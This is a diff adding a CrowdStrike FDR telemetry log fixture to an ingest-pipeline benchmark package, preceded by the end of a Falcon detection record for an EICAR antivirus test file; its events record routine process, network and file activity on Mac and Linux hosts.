Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log new file mode 100644 index 0000000000..c3de03a23b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log @@ -0,0 +1,138 @@ +{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} +{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} +{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} +{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 